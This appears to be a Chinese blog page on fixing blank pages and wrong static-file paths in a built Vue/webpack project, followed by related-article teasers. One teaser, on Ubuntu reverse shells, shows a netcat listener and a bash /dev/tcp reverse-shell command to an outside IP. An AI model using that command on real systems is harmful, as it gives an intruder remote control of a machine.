1、打包之后打开dist的页面显示空白:

  这个是打包项目比较常见的一个错误

  改一下config下面的index.js中bulid模块导出的路径。因为打包后的index.html里边的内容都是通过script标签引入的,默认显示的路径不对,打开肯定是空白的。

  

  

  2.src里边router/index.js路由配置里边默认模式是mode:'hash'(页面会在路由上加#),有时候改成了history(纯净路由)模式的话,打开也会是一片空白。所以改为hash或者直接把模式配置删除,让它默认的就行 。

  

export default new Router({
//mode: 'history',
mode:'hash',\\或者直接不写
routes: [{}]
)}

 3. 当打包后的图片访问路径是 /dist/static/css/static/img    

   在build/utils.js添加配置publicPath: '../../'

  

打包后找不到响应路径:

这都是比较常见的几种解决方式,如果将静态资源的图片路径作为绑定数据以js引入,图片放入了static里面用来引入这个页面又该怎样处理呢,如果以绝对路径访问vue打包是不会处理这一类的,所以打包后它图片访问的路径不会更改,而打包后dist文件里就只有index.html和webpack不会处理的static文件夹(vue static/下的文件都不会被Webpack处理:它们使用相同的文件名,直接拷贝到最终的路径)

解决方式有两种,

1.如果要上线的话,需要将你的主域名加在static之前然后他会逐级去访问打包后的文件。

return {
isShow:true,
imgData:'',
myUpPic:'/yourDN/static/img/logo.png'
}

2.由于vue将组件访问静态资源的路径配置好了,你可以直接/static来找到static下的文件,但是这里的问题就是你访问的时候它是逐级访问这些文件的,所以打包后他还是会找不到静态资源的文件,在这里你就需要将/static改成./static,这样的话他就会在打包后的文件夹下直接访问其之下的静态资源文件夹。

return {
isShow:true,
imgData:'',
//myUpPic:'/static/img/logo.png'
myUpPic:'./static/img/logo.png'
}

vue打包静态资源后显示空白及static文件路径报错的更多相关文章

  1. vue打包静态资源路径不正确的解决办法

    vue打包静态资源路径不正确的解决办法 vue项目完成打包上线的时候会碰到静态资源找不到的问题,常见的有两个 1.js,css路径不对 解决办法:打开config/index.js,将其中的asset ...

  2. vue打包静态资源路径不正确的解决办法【转】

    vue项目完成打包上线的时候很多人都会碰到静态资源找不到的问题,常见的有两个 1.js,css路径不对 解决办法:打开config/index.js,将其中的assetsPublicPath值改为’. ...

  3. NodeJS4-2静态资源服务器实战_实现获取文件路径

    实例2 : 实现获取文件路径,判断是文件还是文件夹,如果是文件夹就显示里面的列表文件,如果是文件就显示里面的内容 defaultConfig.js module.exports={ root:proc ...

  4. vue项目之webpack打包静态资源路径不准确

    摘自:https://blog.csdn.net/viewyu12345/article/details/83187815 问题 将打包好的项目部署到服务器,发现报错说图片找不到. 静态资源如js访问 ...

  5. vue项目打包后一片空白及资源引入的路径报错解决办法

    网上很多说自己的VUE项目通过Webpack打包生成的list文件,放到HBulider打包后,通过手机打开一片空白.这个主要原因是路径的问题. 1.记得改一下config下面的index.js中bu ...

  6. webpack4 打包静态资源

    demo 代码点此,开始之前,先做点准备工作. 准备工作 准备一个空文件夹,然后执行下列命令: npm init -y npm i -D webpack webpack-cli 然后创建一个 dist ...

  7. vue 使用webpack打包后路径报错以及 alias 的使用

    一.vue 使用webpack打包后路径报错(两步解决) 1. config文件夹 ==> index.js ==> 把assetsPublicPath的 '/ '改为 './' 2. b ...

  8. 【docker】【redis】2.docker上设置redis集群---Redis Cluster部署【集群服务】【解决在docker中redis启动后,状态为Restarting,日志报错:Configured to not listen anywhere, exiting.问题】【Waiting for the cluster to join...问题】

    参考地址:https://www.cnblogs.com/zhoujinyi/p/6477133.html https://www.cnblogs.com/cxbhakim/p/9151720.htm ...

  9. java -- SSM配置完成后,能访问jsp文件不能访问html文件,报错解析

    SSM配置完成后,能访问jsp文件不能访问html文件,报错解析 在确保路径没有任何问题的,情况下,相同的页面,jsp能够正常访问,html却不能正常访问(404). 解决方法: 在web.xml中添 ...

随机推荐

  1. python中range语法

    规则:一般不取最后一位 start: 计数从 start 开始.默认是从 0 开始.例如range(5)等价于range(0, 5); stop: 计数到 stop 结束,但不包括 stop.例如:r ...

  2. Python自动生成代码工具

    项目中有一个需求,对一个基类而言,拥有一个比较方法和拷贝方法,某些地方需要频繁地对这两个方法进行调用.对于所有子类而言,需要重写这两个方法,并在其中维护类内一些成员变量.例如有一个变量m_iMyVal ...

  3. c# 模拟并发请求 ,只能并发2个连接。

    使用 HttpWebRequest 模拟并发请求的时候,发现不管怎么提高thread 的数量,都没用,服务器端用计数器看到的都是2个连接,见下图(关于计数器怎么开,百度) 然后搜了一下,发现需要在ap ...

  4. addEventListener与attachEvent区别

    DOM2级事件处理程序 DOM2级事件定义了两个方法用于处理指定和删除事件处理程序的操作: addEventListener removeEventListener 所有的DOM节点都包含这两个方法, ...

  5. Ubuntu -- 反射shell nc

    攻击机: apt-get install netcat nc -lvvp 80 受害机: /bin/bash -i >& /dev/tcp/139.xxx.18.xx/80 0>& ...

  6. 手动安装sublimeText3插件

    就在今天下午,我花了一个小时的时间安装sublime3插件stylus,就是为了让stylus文件能够高亮显示.网上找了很多方法,可以通过package control安装,然而,我的sublime ...

  7. [原]将BITMAPINFO保存成bmp文件,以及渲染到设备

    /* class Image { public: Image() = delete; Image(const uint32_t& _w, const uint32_t& _h) :w( ...

  8. shell编程系列7--shell中常用的工具find、locate、which、whereis

    shell编程系列7--shell中常用的工具find.locate.which.whereis .文件查找之find命令 语法格式:find [路径] [选项] [操作] 选项 -name 根据文件 ...

  9. 我非要捅穿这 Neutron(二)上层资源模型篇

    目录 文章目录 目录 Neutron 的资源模型 Network 运营商网络和租户网络 创建运营商网络 创建租户网络 创建外部网络 Network 小结 Subnet IP 核心网络服务 Subnet ...

  10. 001——Angular环境搭建、运行项目、搭建项目

    1.安装node.js 和cnpm 2.cnpm install -g @angular/cli   安装angular脚手架: 3.ng new angulardemo cd angulardemo ...